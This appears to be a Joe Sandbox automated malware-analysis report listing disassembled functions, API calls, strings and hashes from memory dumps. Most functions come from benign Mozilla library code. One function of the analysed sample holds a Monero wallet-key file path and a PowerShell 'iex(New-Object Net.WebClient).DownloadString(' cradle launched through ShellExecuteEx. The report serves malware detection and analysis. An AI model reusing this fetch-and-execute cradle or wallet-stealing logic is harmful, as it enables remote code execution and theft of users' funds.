Part of subcall function 6CAE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE7693
Part of subcall function 6CAE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE85B2

Part of subcall function 6CAC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAC5EDB
Part of subcall function 6CAC5E90: memset.VCRUNTIME140(6CB07765,000000E5,55CCCCCC), ref: 6CAC5F27
Part of subcall function 6CAC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAC5FB2

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: a8ddbd547f7ee669df53490e6d4d40361abf9fbd5990ad1da35c94d8d67b2ff3
Instruction ID: 6aab354a063cdd3660047fc2b2d7c638bf1ac0db6f32a02180009790f24bbb2f
Opcode Fuzzy Hash: a8ddbd547f7ee669df53490e6d4d40361abf9fbd5990ad1da35c94d8d67b2ff3
Instruction Fuzzy Hash: FE2183742006019FEB14DB28D888AABB7B9AF4830DF14482DE55FC3B41DB35F988CB95

Function 6CAEF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CADCBE8: GetCurrentProcess.KERNEL32(?,6CAA31A7), ref: 6CADCBF1
Part of subcall function 6CADCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAA31A7), ref: 6CADCBFA

Part of subcall function 6CAE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAB4A68), ref: 6CAE945E
Part of subcall function 6CAE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAE9470
Part of subcall function 6CAE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAE9482
Part of subcall function 6CAE9420: __Init_thread_footer.LIBCMT ref: 6CAE949F

GetCurrentThreadId.KERNEL32 ref: 6CAEF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CAEF598), ref: 6CAEF621

Part of subcall function 6CAE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAE94EE
Part of subcall function 6CAE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAE9508

GetCurrentThreadId.KERNEL32 ref: 6CAEF637
AcquireSRWLockExclusive.KERNEL32(6CB2F4B8,?,?,00000000,?,6CAEF598), ref: 6CAEF645
ReleaseSRWLockExclusive.KERNEL32(6CB2F4B8,?,?,00000000,?,6CAEF598), ref: 6CAEF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CAEF62A

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 2bdd8df93cdabacac2c5a93412c1a8f6d0f727010a90152949d0f912cf6a5d14
Instruction ID: 1a22b61894e253262355f6e32db1f89777bcb9e987b5f5be5bf9d226a1d6faec
Opcode Fuzzy Hash: 2bdd8df93cdabacac2c5a93412c1a8f6d0f727010a90152949d0f912cf6a5d14
Instruction Fuzzy Hash: CD112375201210ABDB04AF28DA08DF57779FB8A368B500419EA0687F01CB79A815CBF0

Function 6CAE05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CADCFAE,?,?,?,6CAA31A7), ref: 6CAE05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CADCFAE,?,?,?,6CAA31A7), ref: 6CAE0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CAA31A7), ref: 6CAE061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CAA31A7), ref: 6CAE0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAE061B, 6CAE0625
<jemalloc>, xrefs: 6CAE05FA, 6CAE060F

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 7b76367a7d25b714aa908993e41dbc14e0e0796352a900c584a0b62f09f2910a
Instruction ID: a4070b00245389af41b4036f3c1483a28441af23d228b8936752311baacdb61a
Opcode Fuzzy Hash: 7b76367a7d25b714aa908993e41dbc14e0e0796352a900c584a0b62f09f2910a
Instruction Fuzzy Hash: F5E08CE2A0509037F5142256BC86DBB761CDBC6134F080039FD0D83701E95AAE1A91F6

Function 6CAB05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8c9e9055174b0b22ad4d557cb854fb773acaba2ea36a278c5333e3764736993
Instruction ID: 619b0eaced467043596650bd5a22eac8ca4e4daf5e80a94598c18cf5a038d7f1
Opcode Fuzzy Hash: c8c9e9055174b0b22ad4d557cb854fb773acaba2ea36a278c5333e3764736993
Instruction Fuzzy Hash: 5DA139B0A01645CFDB14CF29C694A9AFBF5FF49304F54866ED44AA7B00E770AA85CF90

Function 6CB014A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB014C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB014E2
GetCurrentThreadId.KERNEL32 ref: 6CB01546
InitializeConditionVariable.KERNEL32(?), ref: 6CB015BA
free.MOZGLUE(?), ref: 6CB016B4

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 8836cdc161f0e34a6e3b07290e9080f1ec4785a886092d9212b91144ca8afc1b
Instruction ID: 919bed9047de19c684b8faf9b1a3f2c33159c22f88145302915a550ad003feaf
Opcode Fuzzy Hash: 8836cdc161f0e34a6e3b07290e9080f1ec4785a886092d9212b91144ca8afc1b
Instruction Fuzzy Hash: 85610471A007549BDB159F24C880BEEBBB5FF89308F04851CED8A57701DB35E989CB92

Function 6CAFDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAFDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CAFD38A,?), ref: 6CAFDC6F
free.MOZGLUE(?,?,?,?,?,6CAFD38A,?), ref: 6CAFDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CAFD38A,?), ref: 6CAFDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CAFD38A,?), ref: 6CAFDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CAFD38A,?), ref: 6CAFDD4A

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 01d0139e23b3f14f69305088d2034ad4e0532eb6113093fd68a5ec7633909c69
Instruction ID: 2753649e23577b681bddd87ad9efc7e9c73411df339e32ac708b6bbe843b1c70
Opcode Fuzzy Hash: 01d0139e23b3f14f69305088d2034ad4e0532eb6113093fd68a5ec7633909c69
Instruction Fuzzy Hash: 04418FB5E00215CFCB00CFA9C9809AAB7F5FF88314B554569E956A7B10DB31FC46CBA0

Function 6CAE6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CADFA80: GetCurrentThreadId.KERNEL32 ref: 6CADFA8D
Part of subcall function 6CADFA80: AcquireSRWLockExclusive.KERNEL32(6CB2F448), ref: 6CADFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAE6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CAE67C8

Part of subcall function 6CAF4290: memcpy.VCRUNTIME140(?,?,6CB02003,6CB00AD9,?,6CB00AD9,00000000,?,6CB00AD9,?,00000004,?,6CB01A62,?,6CB02003,?), ref: 6CAF42C4

Strings

data, xrefs: 6CAE6593

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 4779a7f4f4fc86b6eb2d2675fbd4408bc56ba2862dc8288d8f3edfd82b6eb4b0
Instruction ID: 1b1847663a8ec40d1f3c6533cc10d48a8c79831882c638450468edfaa15db550
Opcode Fuzzy Hash: 4779a7f4f4fc86b6eb2d2675fbd4408bc56ba2862dc8288d8f3edfd82b6eb4b0
Instruction Fuzzy Hash: BAD1FF74A083848FD724CF25D951BAFB7E5AFC9308F14492DE18987B50DB30A889CB92

Function 00B09260 Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(Pv,?,?,?,00B0140C,?,0076E150,00000000), ref: 00B0926C
lstrcpyn.KERNEL32(00D3AB88,Pv,Pv,?,00B0140C,?,0076E150), ref: 00B09290
lstrlen.KERNEL32(?,?,00B0140C,?,0076E150), ref: 00B092A7
wsprintfA.USER32 ref: 00B092C7

Strings

Pv, xrefs: 00B09268, 00B09283, 00B09287, 00B09299, 00B092BD, 00B0927B, 00B0926B, 00B09286, 00B0928A, 00B092C6
%s%s, xrefs: 00B092B5

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$Pv
API String ID: 1206339513-3824917794
Opcode ID: 5eef92e01f465854d2fd4628fac31f301438f02e7454422925912cc311543993
Instruction ID: 8baffe7938fcd0b6335f2bc509bd44dc8cfbc9d2e05a29676d8cbb15fd846bc4
Opcode Fuzzy Hash: 5eef92e01f465854d2fd4628fac31f301438f02e7454422925912cc311543993
Instruction Fuzzy Hash: CB01DA75600208FFCB04DFECC989EAE7BB9EF48355F108588F9499B345C671AA40DBA1

Function 6CADD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CAAEB57,?,?,?,?,?,?,?,?,?), ref: 6CADD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CAAEB57,?), ref: 6CADD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CAAEB57,?), ref: 6CADD673
free.MOZGLUE(?), ref: 6CADD888

Strings

|Enabled, xrefs: 6CADD81E

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 4772c76c7513f645ca2e91350e487e554dacb5dc764aa206fee8aca2e109f379
Instruction ID: 6424d63d7884e3bfa42818b4089c5f7ebf955a29e7714c9d35fe9a4b9b2fb21d
Opcode Fuzzy Hash: 4772c76c7513f645ca2e91350e487e554dacb5dc764aa206fee8aca2e109f379
Instruction Fuzzy Hash: 12A1F1B0E002449FDB11CF69C490BEEBBF1AF49318F19815CD899AB741D735B989CBA1

Function 00B0C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 00B0C8BF
___crtGetStringTypeA.LIBCMT ref: 00B0C8EC
___crtLCMapStringA.LIBCMT ref: 00B0C90C
___crtLCMapStringA.LIBCMT ref: 00B0C931

Strings

, xrefs: 00B0C896

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 988d6e270ad44541d0bbf254d2f9c0d124a238a410d093e18419842488533e24
Instruction ID: 25c20c902c8db9891ce29b3665ef7c96ab196994c6ae7ca16f9b7ec8890b8e30
Opcode Fuzzy Hash: 988d6e270ad44541d0bbf254d2f9c0d124a238a410d093e18419842488533e24
Instruction Fuzzy Hash: 4841F5B110079C5EDB228B248D84FFBBFE8EB45704F1445E8E98A861C2D3719A44CF64

Function 6CADF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CADF480

Part of subcall function 6CAAF100: LoadLibraryW.KERNEL32(shell32,?,6CB1D020), ref: 6CAAF122
Part of subcall function 6CAAF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CAAF132

CloseHandle.KERNEL32(00000000), ref: 6CADF555

Part of subcall function 6CAB14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAB1248,6CAB1248,?), ref: 6CAB14C9
Part of subcall function 6CAB14B0: memcpy.VCRUNTIME140(?,6CAB1248,00000000,?,6CAB1248,?), ref: 6CAB14EF

Part of subcall function 6CAAEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CAAEEE3

CreateFileW.KERNEL32 ref: 6CADF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CADF523

Strings

\oleacc.dll, xrefs: 6CADF4CB

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 605b2d92edac8a7a338dc18d30698fec2c0f727f28b55c7ed06a5ef12e85153b
Instruction ID: a8ebcf2c62228eed398ddc552a64e77db431af6e3884b3403e9eb9cce12f641a
Opcode Fuzzy Hash: 605b2d92edac8a7a338dc18d30698fec2c0f727f28b55c7ed06a5ef12e85153b
Instruction Fuzzy Hash: 6741CE306187509FE720DF69CD84BABB7F4AF84318F100A1CF69593650EB34E989CB92

Function 00B02C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

ShellExecuteEx.SHELL32(0000003C), ref: 00B02D85

Strings

<, xrefs: 00B02D39
')", xrefs: 00B02CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00B02CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00B02D04

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
